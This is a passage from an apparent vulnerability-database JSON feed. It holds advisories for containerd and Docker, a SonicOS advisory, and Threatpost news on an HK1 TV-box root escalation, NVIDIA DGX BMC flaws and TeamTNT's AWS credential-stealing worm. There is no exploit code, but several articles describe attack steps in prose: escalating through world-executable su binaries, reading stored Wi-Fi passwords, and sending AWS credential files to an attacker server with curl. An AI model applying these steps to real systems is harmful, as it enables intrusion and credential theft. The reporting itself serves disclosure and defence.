"2022-05-11T21:07:25", "description": "## Impact\n\nIf a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format includes a URL for the location of a specific image layer (otherwise known as a \u201cforeign layer\u201d), the default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or later, the default containerd resolver will provide its authentication credentials if the server where the URL is located presents an HTTP 401 status code along with registry-specific HTTP headers.\n\nIf an attacker publishes a public image with a manifest that directs one of the layers to be fetched from a web server they control and they trick a user or system into pulling the image, they can obtain the credentials used for pulling that image. In some cases, this may be the user's username and password for the registry. In other cases, this may be the credentials attached to the cloud virtual instance which can grant access to other cloud resources in the account.\n\nThe default containerd resolver is used by the cri-containerd plugin (which can be used by Kubernetes), the ctr development tool, and other client programs that have explicitly linked against it.\n\nThis vulnerability has been rated by the containerd maintainers as medium, with a CVSS score of 6.1 and a vector string of CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N.\n\n## Patches\n\nThis vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and later are not affected.\n\n## Workarounds\n\nIf you are using containerd 1.3 or later, you are not affected. If you are using cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources. Other container runtimes built on top of containerd but not using the default resolver (such as Docker) are not affected.\n\n## Credits\n\nThe containerd maintainers would like to thank Brad Geesaman, Josh Larsen, Ian Coldwater, Duffie Cooley, and Rory McCune for responsibly disclosing this issue in accordance with the [containerd security policy](https://github.com/containerd/project/blob/master/SECURITY.md).", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 4.0}, "published": "2022-02-11T23:27:39", "type": "osv", "title": "containerd v1.2.x can be coerced into leaking credentials during image pull", "bulletinFamily": "software", "cvss2": {"severity": "LOW", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.6, "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-15157"], "modified": "2022-02-11T23:27:39", "id": "OSV:GHSA-742W-89GC-8M9C", "href": "https://osv.dev/vulnerability/GHSA-742w-89gc-8m9c", "cvss": {"score": 2.6, "vector": "AV:N/AC:H/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-07-21T08:22:23", "description": "\nMultiple security issues were discovered in Docker, a Linux container\nruntime, which could result in denial of service, an information leak\nor privilege escalation.\n\n\nFor the stable distribution (buster), these problems have been fixed in\nversion 18.09.1+dfsg1-7.1+deb10u3.\n\n\nWe recommend that you upgrade your docker.io packages.\n\n\nFor the detailed security status of docker.io please refer to\nits security tracker page at:\n[\\\nhttps://security-tracker.debian.org/tracker/docker.io](https://security-tracker.debian.org/tracker/docker.io)\n\n\n", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 6.8, "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 4.0}, "published": "2021-02-27T00:00:00", "type": "osv", "title": "docker.io - security update", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-15157", "CVE-2020-15257", "CVE-2021-21284", "CVE-2021-21285"], "modified": "2022-07-21T05:50:42", "id": "OSV:DSA-4865-1", "href": "https://osv.dev/vulnerability/DSA-4865-1", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}}], "ptsecurity": [{"lastseen": "2021-10-22T10:43:23", "description": "# PT-2020-29: Denial of service and potential arbitrary code execution in SonicOS\n\nSonicOS, SonicOSv \n\n**Severity:**\n\nSeverity level: High \nImpact: Denial of service and potential arbitrary code execution in SonicOS \nAccess Vector: Remote\n\nCVSS v3.0 \nBase Score: 9,4 \nVector: (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H) \nCVE-2020-5135\n\n**Vulnerability description:**\n\nThe vulnerability, which is associated with buffer overflow in SonicOS, allows a remote attacker to cause a denial of service (DoS) and potentially execute arbitrary code.\n\n**Advisory status:**\n\n26.06.2020 - Vendor notification date \n12.10.2020 - Security advisory publication date (<https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2020-0010>) \n\n**Credits:**\n\nThe vulnerability was discovered by Nikita Abramov, Positive Research Center (Positive Technologies Company)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-06-26T00:00:00", "type": "ptsecurity", "title": "PT-2020-29: Denial of service and potential arbitrary code execution in SonicOS", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5135"], "modified": "2020-12-10T00:00:00", "id": "PT-2020-29", "href": "https://www.ptsecurity.com/ww-en/analytics/threatscape/pt-2020-29/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "threatpost": [{"lastseen": "2020-10-14T22:07:48", "description": "A critical bug in the Hindotech HK1 TV Box would allow root-privilege escalation thanks to improper access control. A successful exploit would allow attackers to steal social-networking account tokens, Wi-Fi passwords, cookies, saved passwords, user-location data, message history, emails, contacts and more, researchers said.\n\nThe bug, which is awaiting a CVE assignment, comes in at 9.3 out of 10 on the [CvSS severity scale](<https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H&version=3.1>), according to researchers at Sick.Codes, a security resource for developers.\n\nThe HK1 Box S905X3 TV Box is an Android-based streaming box that plugs into a TV and allows users to access YouTube, Netflix and other streaming content \u201cover-the-top,\u201d i.e., without a cable subscription. Users can also sign into their favorite email, music and social-networking-related apps for a full \u201csmart TV\u201d experience. It retails for under $100.\n\n[![Threatpost Webinar Promo Retail Security](https://media.threatpost.com/wp-content/uploads/sites/103/2020/10/07103433/webinar-promo-retail-security-1.jpg)](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)\n\nClick to Register!\n\nThe vulnerability would allow a local, unprivileged user to escalate to root, the Sick.Codes team said [in a posting](<https://sick.codes/sick-2020-004/>) this week. At issue is a lack of authentication when it comes to the debugging functions of the set-top \u2013 specifically, when connected to the device through the serial port (UART), or while using the [Android Debug Bridge](<https://developer.android.com/studio/command-line/adb>) (adb), as an unprivileged user.\n\nadb is a versatile command-line tool that lets users communicate with a device. It facilitates a variety of device actions, such as installing and debugging apps, and it provides access to a Unix shell that can be used to run a variety of commands on a device.\n\n\u201cA local attacker using adb, or a physical attacker connecting to the device through the UART serial debugging port, is dropped into a shell as the \u2018shell\u2019 user without entering a username or password,\u201d researchers explained. \u201cOnce logged in as the \u2018shell\u2019 user, the attacker can escalate to root using the /sbin/su binary which is group executable (750), or /system/xbin/su which is executable by all users (755).\u201d\n\nOnce endowed with root privileges, the attacker can view any of the information for the apps the user is signed into \u2013 paving the way for stealing access tokens, passwords, contacts and messages and more. Attackers could also use the HK1 Box maliciously to sniff other devices on the same network, usually in a home-networking environment, according to the analysis.\n\n\u201cFor example, once root, the network Wi-Fi password can be read in plain text at /data/misc/wifi/WifiConfigStore.xml,\u201d researchers explained.\n\nThus far, the issue has not been addressed.\n\nThe vendor for the device is the Shenzhen Hindo Technology Co.,Ltd., based just outside of Hong Kong. The researchers were unable to contact the company (and its website, [www.hindotech.com](<http://www.hindotech.com>), was down as of the time of writing). Instead, the researchers submitted a draft advisory to Amlogic, which shares branding with the device in the States \u2013 and received no response.\n\nThreatpost has tried to contact Shenzhen Hindo but has been unsuccessful in reaching the company.\n\nThis is only the latest entertainment-related security bug. Last week, researchers disclosed the [\u2018WarezTheRemote\u2019 attack](<https://threatpost.com/comcast-tv-remote-homes-snooping/159899/>), affecting Comcast\u2019s XR11 voice remote control. A security flaw would allow attackers to remotely snoop in on victims\u2019 private conversations.\n\nThe flaw stems from Comcast\u2019s XR11, a popular voice-activated remote control for cable TV, which has more than 18 million units deployed across the U.S. The remote enables users to say the channel or content they want to watch rather than keying in the channel number or typing to search.\n\n[**On October 14 at 2 PM ET**](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)** Get the latest information on the rising threats to retail e-commerce security and how to stop them. **[**Register today**](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)** for this FREE Threatpost webinar, \u201c**[**Retail Security: Magecart and the Rise of e-Commerce Threats.**](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)**\u201d Magecart and other threat actors are riding the rising wave of online retail usage and racking up big numbers of consumer victims. Find out how websites can avoid becoming the next compromise as we go into the holiday season. Join us Wednesday, Oct. 14, 2-3 PM ET for this **[**LIVE **](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)**webinar.**\n", "cvss3": {}, "published": "2020-10-13T16:36:15", "type": "threatpost", "title": "Authentication Bug Opens Android Smart-TV Box to Data Theft", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-10-13T16:36:15", "id": "THREATPOST:DFC75A06F449D25EF03338C5D80C705C", "href": "https://threatpost.com/authentication-bug-android-smart-tv-data-theft/160025/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-29T23:39:12", "description": "NVIDIA released a patch for a critical bug in its high-performance line of DGX servers that could open the door for a remote attacker to take control of and access sensitive data on systems typically operated by governments and Fortune-100 companies.\n\nIn all, NVIDIA [issued nine patches](<https://nvidia.custhelp.com/app/answers/detail/a_id/5010>), each fixing flaws in firmware used by DGX high-performance computing (HPC) systems, which are used for processor-intensive artificial intelligence (AI) tasks, machine learning and data modeling. All of the flaws are tied to its own firmware that runs on its DGX AMI baseboard management controller (BMC), the brains behind a remote monitoring service servers.\n\n\u201cAttacks can be remote (in case of internet connectivity), or if bad guys can root one of the boxes and get access to the BMC they can use the out of band management network to PWN the entire datacenter,\u201d wrote researcher Sergey Gordeychik who is credited for finding the bugs. \u201cIf you have access to OOB, it is game is over for the target.\u201d \n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nGiven the high-stake computing jobs typically running on the HPC systems, the researcher noted an adversary exploiting the flaw could \u201cpoison data and force models to make incorrect predictions or infect an AI model.\u201d\n\n## **No Patch Until 2021 for One Bug **\n\nNVIDIA said a patch fixing one high-severity bug (CVE\u20112020\u201111487), specifically impacting its DGX A100 server line, would not be available until the second quarter of 2021. The vulnerability is tied to a hard-coded RSA 1024 key with weak ciphers that could lead to information disclosure. A fix for the same bug (CVE\u20112020\u201111487), impacting other DGX systems (DGX-1, DGX-2) is available.\n\n\u201cTo mitigate the security concerns,\u201d NVIDIA wrote, \u201climit connectivity to the BMC, including the web user interface, to trusted management networks.\u201d\n\n## **Bugs Highlight Weaknesses in AI and ML Infrastructure**\n\n\u201cWe found a number of vulnerable servers online, which triggered our research,\u201d the researcher told Threatpost. The bugs were disclosed Wednesday and presented as part of a [presentation](<https://codeblue.jp/2020/en/speakers/?content=undefined>) \u201c[Vulnerabilities of Machine Learning Infrastructure](<https://codeblue.jp/2020/en/speakers/>)\u201d at [CodeBlue 2020](<https://codeblue.jp/2020/en/>), a security conference in Tokyo, Japan.\n\nDuring the session Gordeychik demonstrated how NVIDIA DGX GPU servers used in machine learning frameworks (Pytorch, Keras and Tensorflow), data processing pipelines and applications such as medical imaging and face recognition powered CCTV \u2013 could be tampered with by an adversary.\n\nThe researcher noted, other vendors are also likely impacted. \u201cInteresting thing here is the supply chain. NVIDIA uses a BMC board by Quanta Computers, which is based on AMI software. So to fix issues [NVIDIA] had to push several vendors to get a fix.\n\nThose vendors include:\n\n * IBM (BMC Advanced System Management)\n * Lenovo (ThinkServer Management Module)\n * Hewlett-Packard Enterprise Megarac\n * Mikrobits (Mikrotik)\n * Netapp\n * ASRockRack IPMI\n * ASUS ASMB9-iKVM\n * DEPO Computers\n * TYAN Motherboard\n * Gigabyte IPMI Motherboards\n * Gooxi BMC\n\n## **Nine CVEs**\n\nAs for the actual patches issued by NVIDIA on Wednesday, the most serious is tracked as CVE\u20112020\u201111483 and is rated critical. \u201cNVIDIA DGX servers contain a vulnerability in the AMI BMC firmware in which the firmware includes hard-coded credentials, which may lead to elevation of privileges or information disclosure,\u201d according to the security bulletin.\n\nVulnerable NVIDIA DGX server models impacted include DGX-1, DGX-2 and DGX A100.\n\nFour of the NVIDIA bugs were rated high-severity (CVE\u20112020\u201111484, CVE\u20112020\u201111487, CVE\u20112020\u201111485, CVE\u20112020\u201111486) with the most serious of the four tracked as [CVE\u20112020\u201111484](<https://nvidia.custhelp.com/app/answers/detail/a_id/5010>). \u201cNVIDIA DGX servers contain a vulnerability in the AMI BMC firmware in which an attacker with administrative privileges can obtain the hash of the BMC/IPMI user password, which may lead to information disclosure,\u201d the chipmaker wrote.\n\nThree of the other patched vulnerabilities were rated medium severity and one low.\n\n\u201cHackers are well aware of AI and ML infrastructure issues and use ML infrastructure in attacks,\u201d Gordeychik said.\n\n**Hackers Put Bullseye on Healthcare: [On Nov. 18 at 2 p.m. EDT](<https://threatpost.com/webinars/2020-healthcare-cybersecurity-priorities-data-security-ransomware-and-patching/?utm_source=ART&utm_medium=ART&utm_campaign=Nov_webinar>) find out why hospitals are getting hammered by ransomware attacks in 2020. [Save your spot for this FREE webinar](<https://threatpost.com/webinars/2020-healthcare-cybersecurity-priorities-data-security-ransomware-and-patching/?utm_source=ART&utm_medium=ART&utm_campaign=Nov_webinar>) on healthcare cybersecurity priorities and hear from leading security voices on how data security, ransomware and patching need to be a priority for every sector, and why. Join us Wed., Nov. 18, 2-3 p.m. EDT for this [LIVE](<https://threatpost.com/webinars/2020-healthcare-cybersecurity-priorities-data-security-ransomware-and-patching/?utm_source=ART&utm_medium=ART&utm_campaign=Nov_webinar>), limited-engagement webinar.**\n", "cvss3": {}, "published": "2020-10-29T23:15:17", "type": "threatpost", "title": "NVIDIA Patches Critical Bug in High-Performance Servers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-10-29T23:15:17", "id": "THREATPOST:7229E2AD26BA4F6395ACBFE184C783EF", "href": "https://threatpost.com/nvidia-patches-critical-bug-in-hpc/160762/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-29T23:46:43", "description": "NVIDIA released a patch for a critical bug in its high-performance line of DGX servers that could open the door for a remote attacker to take control of and access sensitive data on systems typically operated by governments and Fortune-100 companies.\n\nIn all, NVIDIA [issued nine patches](<https://nvidia.custhelp.com/app/answers/detail/a_id/5010>), each fixing flaws in firmware used by DGX high-performance computing (HPC) systems, which are used for processor-intensive artificial intelligence (AI) tasks, machine learning and data modeling. All of the flaws are tied to its own firmware that runs on its DGX AMI baseboard management controller (BMC), the brains behind a remote monitoring service servers.\n\n\u201cAttacks can be remote (in case of internet connectivity), or if bad guys can root one of the boxes and get access to the BMC they can use the out of band management network to PWN the entire datacenter,\u201d wrote researcher Sergey Gordeychik who is credited for finding the bugs. \u201cIf you have access to OOB, it is game is over for the target.\u201d \n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nGiven the high-stake computing jobs typically running on the HPC systems, the researcher noted an adversary exploiting the flaw could \u201cpoison data and force models to make incorrect predictions or infect an AI model.\u201d\n\n## **No Patch Until 2021 for One Bug **\n\nNVIDIA said a patch fixing one high-severity bug (CVE\u20112020\u201111487), specifically impacting its DGX A100 server line, would not be available until the second quarter of 2021. The vulnerability is tied to a hard-coded RSA 1024 key with weak ciphers that could lead to information disclosure. A fix for the same bug (CVE\u20112020\u201111487), impacting other DGX systems (DGX-1, DGX-2) is available.\n\n\u201cTo mitigate the security concerns,\u201d NVIDIA wrote, \u201climit connectivity to the BMC, including the web user interface, to trusted management networks.\u201d\n\n## **Bugs Highlight Weaknesses in AI and ML Infrastructure**\n\n\u201cWe found a number of vulnerable servers online, which triggered our research,\u201d the researcher told Threatpost. The bugs were disclosed Wednesday and presented as part of a [presentation](<https://codeblue.jp/2020/en/speakers/?content=undefined>) \u201c[Vulnerabilities of Machine Learning Infrastructure](<https://codeblue.jp/2020/en/speakers/>)\u201d at [CodeBlue 2020](<https://codeblue.jp/2020/en/>), a security conference in Tokyo, Japan.\n\nDuring the session Gordeychik demonstrated how NVIDIA DGX GPU servers used in machine learning frameworks (Pytorch, Keras and Tensorflow), data processing pipelines and applications such as medical imaging and face recognition powered CCTV \u2013 could be tampered with by an adversary.\n\nThe researcher noted, other vendors are also likely impacted. \u201cInteresting thing here is the supply chain,\u201d he said. \u201cNVIDIA uses a BMC board by Quanta Computers, which is based on AMI software. So to fix issues [NVIDIA] had to push several vendors to get a fix.\u201d\n\nThose vendors include:\n\n * IBM (BMC Advanced System Management)\n * Lenovo (ThinkServer Management Module)\n * Hewlett-Packard Enterprise Megarac\n * Mikrobits (Mikrotik)\n * Netapp\n * ASRockRack IPMI\n * ASUS ASMB9-iKVM\n * DEPO Computers\n * TYAN Motherboard\n * Gigabyte IPMI Motherboards\n * Gooxi BMC\n\n## **Nine CVEs**\n\nAs for the actual patches issued by NVIDIA on Wednesday, the most serious is tracked as CVE\u20112020\u201111483 and is rated critical. \u201cNVIDIA DGX servers contain a vulnerability in the AMI BMC firmware in which the firmware includes hard-coded credentials, which may lead to elevation of privileges or information disclosure,\u201d according to the security bulletin.\n\nVulnerable NVIDIA DGX server models impacted include DGX-1, DGX-2 and DGX A100.\n\nFour of the NVIDIA bugs were rated high-severity (CVE\u20112020\u201111484, CVE\u20112020\u201111487, CVE\u20112020\u201111485, CVE\u20112020\u201111486) with the most serious of the four tracked as [CVE\u20112020\u201111484](<https://nvidia.custhelp.com/app/answers/detail/a_id/5010>). \u201cNVIDIA DGX servers contain a vulnerability in the AMI BMC firmware in which an attacker with administrative privileges can obtain the hash of the BMC/IPMI user password, which may lead to information disclosure,\u201d the chipmaker wrote.\n\nThree of the other patched vulnerabilities were rated medium severity and one low.\n\n\u201cHackers are well aware of AI and ML infrastructure issues and use ML infrastructure in attacks,\u201d Gordeychik said.\n\n**Hackers Put Bullseye on Healthcare: [On Nov. 18 at 2 p.m. EDT](<https://threatpost.com/webinars/2020-healthcare-cybersecurity-priorities-data-security-ransomware-and-patching/?utm_source=ART&utm_medium=ART&utm_campaign=Nov_webinar>) find out why hospitals are getting hammered by ransomware attacks in 2020. [Save your spot for this FREE webinar](<https://threatpost.com/webinars/2020-healthcare-cybersecurity-priorities-data-security-ransomware-and-patching/?utm_source=ART&utm_medium=ART&utm_campaign=Nov_webinar>) on healthcare cybersecurity priorities and hear from leading security voices on how data security, ransomware and patching need to be a priority for every sector, and why. Join us Wed., Nov. 18, 2-3 p.m. EDT for this [LIVE](<https://threatpost.com/webinars/2020-healthcare-cybersecurity-priorities-data-security-ransomware-and-patching/?utm_source=ART&utm_medium=ART&utm_campaign=Nov_webinar>), limited-engagement webinar.**\n", "cvss3": {}, "published": "2020-10-29T23:15:17", "type": "threatpost", "title": "NVIDIA Patches Critical Bug in High-Performance Servers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-10-29T23:15:17", "id": "THREATPOST:AF18435BD7544B43152D5D3E8B97CE30", "href": "https://threatpost.com/nvidia-critical-bug-hpc/160762/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-14T22:21:12", "description": "A cryptomining worm from the group known as TeamTNT is spreading through the Amazon Web Services (AWS) cloud and collecting credentials. Once the logins are harvested, the malware logs in and deploys the XMRig mining tool to mine Monero cryptocurrency.\n\nAccording to researchers at Cado Security, the worm also deploys a number of openly available malware and offensive security tools, including \u201cpunk.py,\u201d a SSH post-exploitation tool; a log cleaning tool; the Diamorphine rootkit; and the Tsunami IRC backdoor.\n\nIt is, they said, the first threat observed in the wild that specifically targets AWS for cryptojacking purposes. However, it also carries out more familiar fare.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThe worm also steals local credentials, and scans the internet for misconfigured Docker platforms,\u201d according to a [Monday posting](<https://www.cadosecurity.com/2020/08/17/teamtnt-the-first-crypto-mining-worm-to-steal-aws-credentials/>). \u201cWe have seen the attackers\u2026compromise a number of Docker and Kubernetes systems.\u201d\n\nAs more businesses embrace cloud and container environments, it has opened up a new attack surface for cybercriminals via misconfiguration. That said, cryptomining threats taking aim at Docker and Kubernetes aren\u2019t new. Attackers continue to scan for [publicly accessible, open Docker/Kubernetes servers](<https://threatpost.com/docker-registries-malware-data-theft/152734/>) in an automated fashion, and then exploit them in order to set up their own containers and execute malware on the victim\u2019s infrastructure.\n\nUsually that malware is a cryptominer of some kind, [as seen in April](<https://threatpost.com/self-propagating-malware-docker-ports/154453/>) in a Bitcoin-mining campaign using the Kinsing malware. Sometimes the threat is more evolved, as seen in July, when a fresh [Linux backdoor called Doki](<https://threatpost.com/icedid-trojan-rebooted-evasive-tactics/158425/>) was seen infesting Docker servers to sett the scene for any number of malware-based attacks, from denial-of-service/sabotage to information exfiltration to ransomware.\n\nHowever, the focus on AWS in this latest set of campaigns \u2013 which [were also flagged](<https://twitter.com/malwrhunterteam/status/1256664761997148161>) by MalwareHunterTeam \u2013 is unique, Cado researchers said.\n\n## **Attacking AWS**\n\nThe attack starts with targeting the way that AWS stores credentials in an unencrypted file at ~/.aws/credentials, and additional configuration details in a file at ~/.aws/config.\n\n\u201cThe code to steal AWS credentials is relatively straightforward \u2013 on execution it uploads the default AWS credentials and config files to the attackers\u2019 server, sayhi.bplace[.]net,\u201d researchers explained. \u201cCurl is used to send the AWS credentials to TeamTNT\u2019s server.\u201d\n\nInterestingly, though the script is written to be a worm, the automated portion of the attack didn\u2019t seem to be in full operation during the security firm\u2019s analysis.\n\n\u201cWe sent credentials created by CanaryTokens.org to TeamTNT, however have not seen them in use yet,\u201d according to the post. \u201cThis indicates that TeamTNT either manually assess and use the credentials, or any automation they may have created isn\u2019t currently functioning.\u201d\n\nThe script that anchors TeamTNT\u2019s worm is repurposed code from the aforementioned Kinsing malware, researchers said, which was originally used to scan for misconfigured Docker APIs, then spin up Docker images and install itself. They added that copying code from other tools is common in this area of cybercrime.\n\n\u201cIn turn, it is likely we will see other worms start to copy the ability to steal AWS credentials files too,\u201d they said. \u201cWhilst these attacks aren\u2019t particularly sophisticated, the numerous groups out there deploying cryptojacking worms are successful at infecting large amounts of business systems.\u201d\n\n## **TeamTNT \u2013 It\u2019s Dynamite**\n\nAs far as attribution, TeamTNT announces itself in numerous references within the worm\u2019s code, according to researchers, plus the group uses a domain called teamtnt[.]red. That domain hosts malware, and the homepage is entitled \u201cTeamTNT RedTeamPentesting.\u201d\n\nTeamTNT has been prolific, and was spotted originally earlier in the year. In April, Trend Micro [observed](<https://www.trendmicro.com/vinfo/hk-en/security/news/virtualization-and-cloud/coinminer-ddos-bot-attack-docker-daemon-ports>) the group attacking Docker containers.\n\nAn examination by Cado of one of the mining pools yielding information about the systems that the AWS-capable worm has compromised showed that for the one pool, there were 119 compromised systems, across AWS, Kubernetes clusters and Jenkins build servers.\n\n\u201cSo far we have seen two different Monero wallets associated with these latest attacks, which have earned TeamTNT about three XMR,\u201d researchers explained. \u201cThat equates to only about $300, however this is only one of their many campaigns.\u201d\n\nCado researchers suggested that to thwart such attacks, businesses should identify which systems are storing AWS credential files and delete them if they aren\u2019t needed. Also, review network traffic for any connections to mining pools or those sending the AWS credentials file over HTTP; and, use firewall rules to limit any access to Docker APIs.\n\n_It\u2019s the age of remote working, and businesses are facing new and bigger cyber-risks \u2013 whether it\u2019s collaboration platforms in the crosshairs, evolving insider threats or issues with locking down a much broader footprint. Find out how to address these new cybersecurity realities with our complimentary _[_Threatpost eBook_](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>)**_, 2020 in Security: Four Stories from the New Threat Landscape_**_, presented in conjunction with Forcepoint. We redefine \u201csecure\u201d in a work-from-home world and offer compelling real-world best practices. _[_Click here to download our eBook now_](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>)_._\n", "cvss3": {}, "published": "2020-08-18T14:14:12", "type": "threatpost", "title": "AWS Cryptojacking Worm Spreads Through the Cloud", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-08-18T14:14:12", "id": "THREATPOST:0A238D67F7286BA41103801846210F7A", "href": "https://threatpost.com/aws-cryptojacking-worm-cloud/158427/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:09:04", "description": "Researchers have discovered the latest cryptojacking malware gambit from TeamTNT, called Black-T. The variant builds on the group\u2019s typical approach, with a few new \u2014 and sophisticated \u2014 extras.\n\nTeamTNT is known for its targeting of Amazon Web Services (AWS) credentials, to break into the cloud and use it to mine for the [Monero](<https://threatpost.com/monero-cybercrime-mining-malware/141116/>) cryptocurrency. But according to researchers with Palo Alto Network\u2019s Unit 42, with [Black-T](<https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/>), the group has added in additional capabilities to its tactics, techniques and procedures (TTPs). These include the addition of sophisticated network scanners; the targeting of competitor XMR mining tools on the network; and the use of password scrapers.\n\nWhat TeamTNT plans to do with the saved passwords and additional capabilities is still unclear, but the development signals that the group doesn\u2019t plan to slow down anytime soon.\n\nIn August, [TeamTNT was identified by researchers](<https://threatpost.com/aws-cryptojacking-worm-cloud/158427/>) as the first cryptojacking group to specifically target AWS. With increasingly sophisticated TTPs, the cybercriminal gang appears to be gaining steady momentum. Just last month, TeamTNT was discovered to have been leveraging a common open-source cloud monitoring tool called [Weave Scope, to infiltrate the cloud](<https://threatpost.com/teamtnt-remote-takeover-cloud-instances/159075/>) and execute commands without breaching the server.\n\nBlack-T represents a notable jump forward in the operation\u2019s sophistication, researchers said.\n\nOnce deployed, the first order of business for Black-T is to disable any other malware competing for processing power, including Kinsing, Kswapd0, ntpd miner, redis-backup miner, auditd miner, Migration miner, the Crux worm and Crux worm miner. Ironically, the fact that TeamTNT identified these competitors in their malware gives security professionals a critical heads-up to be on the lookout for potential threats from these groups, Unit 42 said.\n\nThis kind of cyberjacking turf warfare isn\u2019t new, but it appears to be accelerating.\n\n\u201cThe battle for cloud resources will continue well into the future,\u201d Nathaniel Quist, senior threat researcher for Unit 42 said. \u201cIn the past, attacker groups like [Rocke](<https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-evade-detection-by-cloud-security-products/>) and [Pacha](<https://www.paloaltonetworks.com/resources/research/digital-executive-summary-unit-42-cloud-threat-report-spring-2020>) would battle for resources. TeamTNT is battling with Kinsing malware and Crux worm today. I believe that this battle for resources will increase and attacker groups will look for other opportunities to use cloud resources. We can see this now with TeamTNT collecting passwords and AWS credentials in an attempt to expand and maintain a cloud presence.\u201d\n\nAfter it eliminates the competition, Black-T installs masscan, libpcap to listen to 